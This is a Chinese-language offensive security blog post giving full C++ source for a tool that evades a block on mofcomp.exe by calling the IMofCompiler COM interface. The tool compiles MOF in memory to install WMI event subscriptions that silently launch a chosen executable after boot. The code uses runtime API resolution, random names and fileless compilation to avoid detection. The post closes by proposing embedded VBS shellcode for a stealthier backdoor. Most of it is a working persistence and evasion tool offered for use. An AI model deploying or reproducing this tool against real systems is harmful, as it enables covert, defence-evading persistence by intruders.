某次尝试通过 mofcomp.exe 添加自启动被拦截,通过调用 IMofCompiler 接口可以实现 mofcomp.exe 相同的功能从而绕过限制。
接口文档:https://docs.microsoft.com/zh-cn/windows/win32/api/wbemcli/nn-wbemcli-imofcompiler。
由于 IMofCompiler 是文档化的接口,不需要像调用 ICMLuaUtil 那样麻烦,直接 #include <Wbemidl.h> 即可。
这个接口可以用于替代 mofcomp.exe,指定 MOF 文件进行编译,但是在实际使用中比较繁琐,需要先编辑 MOF 文件,上传,编译。
xxxxxxxxxxbool CompileMofFile(std::wstring mof_file_path) { IMofCompiler* imofcompiler = NULL; HRESULT result = S_OK; WBEM_COMPILE_STATUS_INFO compile_status_info; std::memset(&compile_status_info, 0, sizeof(compile_status_info));
auto CoInitialize = static_cast<MyCoInitialize>(RuntimeDynamicLinking("Ole32", "CoInitialize")); if (!CoInitialize) return false; auto CoUninitialize = static_cast<MyCoUninitialize>(RuntimeDynamicLinking("Ole32", "CoUninitialize")); if (!CoUninitialize) return false; auto CoCreateInstance = static_cast<MyCoCreateInstance>(RuntimeDynamicLinking("Ole32", "CoCreateInstance")); if (!CoCreateInstance) return false;
result = CoInitialize(NULL); if (result != S_OK) { std::cout << "[!] CoInitialize error.\n"; CoUninitialize(); return false; }
result = CoCreateInstance(CLSID_MofCompiler, 0, CLSCTX_INPROC_SERVER, IID_IMofCompiler, reinterpret_cast<LPVOID*>(&imofcompiler)); if (result != S_OK) { std::cout << "[!] CoCreateInstance error.\n"; CoUninitialize(); return false; }
std::cout << "[+] IMofCompiler::CompileFile.\n"; result = imofcompiler->CompileFile(const_cast<wchar_t*>(mof_file_path.c_str()), NULL, NULL, NULL, NULL, WBEM_FLAG_CONSOLE_PRINT, 0, 0, &compile_status_info); if (result == WBEM_S_NO_ERROR) { CoUninitialize(); return true; } else if (result == WBEM_S_FALSE) { std::cout << "[!] IMofCompiler::CompileFile WBEM_S_FALSE.\n"; CoUninitialize(); return false; } else { std::cout << "[!] IMofCompiler::CompileFile unknown error.\n"; CoUninitialize(); return false; }}CompileBuffer 是一种更优雅的解决方案,这个接口可以在内存中编译 MOF 文件,省去 MOF 文件落地的过程。
xxxxxxxxxxbool CompileMofBuffer(std::string mof_string) { IMofCompiler* imofcompiler = NULL; HRESULT result = S_OK; WBEM_COMPILE_STATUS_INFO compile_status_info; std::memset(&compile_status_info, 0, sizeof(compile_status_info));
auto CoInitialize = static_cast<MyCoInitialize>(RuntimeDynamicLinking("Ole32", "CoInitialize")); if (!CoInitialize) return false; auto CoUninitialize = static_cast<MyCoUninitialize>(RuntimeDynamicLinking("Ole32", "CoUninitialize")); if (!CoUninitialize) return false; auto CoCreateInstance = static_cast<MyCoCreateInstance>(RuntimeDynamicLinking("Ole32", "CoCreateInstance")); if (!CoCreateInstance) return false;
result = CoInitialize(NULL); if (result != S_OK) { std::cout << "[!] CoInitialize error.\n"; CoUninitialize(); return false; }
result = CoCreateInstance(CLSID_MofCompiler, 0, CLSCTX_INPROC_SERVER, IID_IMofCompiler, reinterpret_cast<LPVOID*>(&imofcompiler)); if (result != S_OK) { std::cout << "[!] CoCreateInstance error.\n"; CoUninitialize(); return false; }
std::cout << "[+] IMofCompiler::CompileBuffer.\n"; result = imofcompiler->CompileBuffer(mof_string.size(), reinterpret_cast<BYTE*>(mof_string.data()), NULL, NULL, NULL, NULL, WBEM_FLAG_CONSOLE_PRINT, 0, 0, &compile_status_info); if (result == WBEM_S_NO_ERROR) { CoUninitialize(); return true; } else if (result == WBEM_S_FALSE) { std::cout << "[!] IMofCompiler::CompileBuffer WBEM_S_FALSE.\n"; CoUninitialize(); return false; } else { std::cout << "[!] IMofCompiler::CompileBuffer unknown error.\n"; CoUninitialize(); return false; }}xxxxxxxxxx#pragma autorecover#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")instance of __EventFilter as $Filter{Name = "ReportFilter";EventNamespace = "root\\cimv2";Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 600";QueryLanguage = "WQL";};instance of CommandLineEventConsumer as $Consumer{Name="ReportConsumer";ExecutablePath="C:\\Users\\Windows10\\Desktop\\test.exe";};instance of __FilterToConsumerBinding{Filter = $Filter;Consumer = $Consumer;};
xxxxxxxxxx#pragma autorecover#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")instance of __EventFilter as $Filter{Name = "ReportFilter";EventNamespace = "root\\cimv2";Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 360 AND TargetInstance.SystemUpTime < 480";QueryLanguage = "WQL";};instance of CommandLineEventConsumer as $Consumer{Name="ReportConsumer";ExecutablePath="C:\\Users\\Windows10\\Desktop\\test.exe";};instance of __FilterToConsumerBinding{Filter = $Filter;Consumer = $Consumer;};
xxxxxxxxxx
using MyCoInitialize = HRESULT(WINAPI*)(LPVOID);using MyCoUninitialize = void(WINAPI*)();using MyCoCreateInstance = HRESULT(WINAPI*)(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*);
std::wstring StringToWsring(std::string string) { std::wstring wstring(string.size(), *L""); std::mbstowcs(wstring.data(), string.c_str(), string.size()); return wstring;}
std::string SingleToDouble(std::string path) { size_t n = 0; while ((n = path.find("\\", n)) != std::string::npos) { path.insert(n, "\\"); n += 2; } return path;}
std::string RandomString(std::size_t length) { const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; std::string random_string; std::default_random_engine random_engine{ std::random_device{}() }; std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1); for (std::size_t i = 0; i < length; i++) { random_string += CHARACTERS[distribution(random_engine)]; } return random_string;}
void* RuntimeDynamicLinking(const char* module_name, const char* fuction_name) { auto module_handle = GetModuleHandleA(module_name); if (module_handle == NULL) { module_handle = LoadLibraryA(module_name); if (module_handle == NULL) return NULL; } return GetProcAddress(module_handle, fuction_name);}
bool CompileMofFile(std::wstring mof_file_path) { IMofCompiler* imofcompiler = NULL; HRESULT result = S_OK; WBEM_COMPILE_STATUS_INFO compile_status_info; std::memset(&compile_status_info, 0, sizeof(compile_status_info));
auto CoInitialize = static_cast<MyCoInitialize>(RuntimeDynamicLinking("Ole32", "CoInitialize")); if (!CoInitialize) return false; auto CoUninitialize = static_cast<MyCoUninitialize>(RuntimeDynamicLinking("Ole32", "CoUninitialize")); if (!CoUninitialize) return false; auto CoCreateInstance = static_cast<MyCoCreateInstance>(RuntimeDynamicLinking("Ole32", "CoCreateInstance")); if (!CoCreateInstance) return false;
result = CoInitialize(NULL); if (result != S_OK) { std::cout << "[!] CoInitialize error.\n"; CoUninitialize(); return false; }
result = CoCreateInstance(CLSID_MofCompiler, 0, CLSCTX_INPROC_SERVER, IID_IMofCompiler, reinterpret_cast<LPVOID*>(&imofcompiler)); if (result != S_OK) { std::cout << "[!] CoCreateInstance error.\n"; CoUninitialize(); return false; }
std::cout << "[+] IMofCompiler::CompileFile.\n"; result = imofcompiler->CompileFile(const_cast<wchar_t*>(mof_file_path.c_str()), NULL, NULL, NULL, NULL, WBEM_FLAG_CONSOLE_PRINT, 0, 0, &compile_status_info); if (result == WBEM_S_NO_ERROR) { CoUninitialize(); return true; } else if (result == WBEM_S_FALSE) { std::cout << "[!] IMofCompiler::CompileFile WBEM_S_FALSE.\n"; CoUninitialize(); return false; } else { std::cout << "[!] IMofCompiler::CompileFile unknown error.\n"; CoUninitialize(); return false; }}
bool CompileMofBuffer(std::string mof_string) { IMofCompiler* imofcompiler = NULL; HRESULT result = S_OK; WBEM_COMPILE_STATUS_INFO compile_status_info; std::memset(&compile_status_info, 0, sizeof(compile_status_info));
auto CoInitialize = static_cast<MyCoInitialize>(RuntimeDynamicLinking("Ole32", "CoInitialize")); if (!CoInitialize) return false; auto CoUninitialize = static_cast<MyCoUninitialize>(RuntimeDynamicLinking("Ole32", "CoUninitialize")); if (!CoUninitialize) return false; auto CoCreateInstance = static_cast<MyCoCreateInstance>(RuntimeDynamicLinking("Ole32", "CoCreateInstance")); if (!CoCreateInstance) return false;
result = CoInitialize(NULL); if (result != S_OK) { std::cout << "[!] CoInitialize error.\n"; CoUninitialize(); return false; }
result = CoCreateInstance(CLSID_MofCompiler, 0, CLSCTX_INPROC_SERVER, IID_IMofCompiler, reinterpret_cast<LPVOID*>(&imofcompiler)); if (result != S_OK) { std::cout << "[!] CoCreateInstance error.\n"; CoUninitialize(); return false; }
std::cout << "[+] IMofCompiler::CompileBuffer.\n"; result = imofcompiler->CompileBuffer(mof_string.size(), reinterpret_cast<BYTE*>(mof_string.data()), NULL, NULL, NULL, NULL, WBEM_FLAG_CONSOLE_PRINT, 0, 0, &compile_status_info); if (result == WBEM_S_NO_ERROR) { CoUninitialize(); return true; } else if (result == WBEM_S_FALSE) { std::cout << "[!] IMofCompiler::CompileBuffer WBEM_S_FALSE.\n"; CoUninitialize(); return false; } else { std::cout << "[!] IMofCompiler::CompileBuffer unknown error.\n"; CoUninitialize(); return false; }}
std::string MofGeneratorAuto(std::string name, std::string path) { std::string mof1{ "#pragma autorecover\n#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")\n\ninstance of __EventFilter as $Filter\n{\n Name = \"" }; std::string mof2{ "\";\n EventNamespace = \"root\\\\cimv2\";\n QueryLanguage = \"WQL\";\n Query = \"" }; std::string query{ "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 360 AND TargetInstance.SystemUpTime < 480" }; std::string mof3{ "\";\n};\n\ninstance of CommandLineEventConsumer as $Consumer\n{\n Name = \"" }; std::string mof4{ "\";\n ExecutablePath = \"" }; std::string mof5{ "\";\n};\n\ninstance of __FilterToConsumerBinding\n{\n Filter = $Filter;\n Consumer = $Consumer;\n};\n" };
return std::string{ mof1 + name + mof2 + query + mof3 + name + mof4 + path + mof5 };}
std::string MofGeneratorTime(std::string name, std::string path, std::string num) { std::string mof1{ "#pragma autorecover\n#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")\n\ninstance of __EventFilter as $Filter\n{\n Name = \"" }; std::string mof2{ "\";\n EventNamespace = \"root\\\\cimv2\";\n QueryLanguage = \"WQL\";\n Query = \"" }; std::string query1{ "SELECT * FROM __InstanceModificationEvent WITHIN " }; std::string query2{ " WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 600" }; std::string mof3{ "\";\n};\n\ninstance of CommandLineEventConsumer as $Consumer\n{\n Name = \"" }; std::string mof4{ "\";\n ExecutablePath = \"" }; std::string mof5{ "\";\n};\n\ninstance of __FilterToConsumerBinding\n{\n Filter = $Filter;\n Consumer = $Consumer;\n};\n" };
return std::string{ mof1 + name + mof2 + query1 + num + query2 + mof3 + name + mof4 + path + mof5 };}
int main(int argc, char* argv[]) { if (argc == 2) { std::cout << "[+] Compile mof from file.\n"; if (CompileMofFile(StringToWsring(std::string{ argv[1] }))) { std::cout << "[+] (^_^).\n"; } else { std::cout << "[!] (>_<).\n"; } } else if (argc == 3) { std::cout << "[+] Compile mof from buffer.\n"; if (std::string{ argv[1] } == std::string{ "auto" }) { auto mof = MofGeneratorAuto(RandomString(8), SingleToDouble(std::string{ argv[2] })); if (mof.empty()) { std::cout << "[!] Mof generator error.\n" << "[!] (>_<).\n"; } else { std::cout << "[+] Mof file string:\n" << mof; if (CompileMofBuffer(mof)) { std::cout << "[+] (^_^).\n"; } else { std::cout << "[!] (>_<).\n"; } } } else { std::cout << "[!] Mof type error.\n" << "[!] Check your input.\n" << "[!] (>_<).\n"; } } else if (argc == 4) { std::cout << "[+] Compile mof from buffer.\n"; if (std::string{ argv[1] } == std::string{ "time" }) { auto mof = MofGeneratorTime(RandomString(8), SingleToDouble(std::string{ argv[2] }), std::string{ argv[3] }); if (mof.empty()) { std::cout << "[!] Mof generator error.\n" << "[!] (>_<).\n"; } else { std::cout << "[+] Mof file string:\n" << mof; if (CompileMofBuffer(mof)) { std::cout << "[+] (^_^).\n"; } else { std::cout << "[!] (>_<).\n"; } } } else { std::cout << "[!] Mof type error.\n" << "[!] Check your input.\n" << "[!] (>_<).\n"; } } else { std::cout << "usage: pmocfom.exe <MofFilePath>\n" " pmocfom.exe auto <FilePath>\n" " pmocfom.exe time <FilePath> <Seconds>\n"; }}在 MOF 中可以嵌入 VBS 脚本,如果在嵌入的 VBS 中加载执行 shellcode 可以实现一个较为隐蔽的后门,shellcode 会在 scrcons.exe 进程中上线,但是我尝试了没有成功,如果有研究过这种方法的可以交流一下。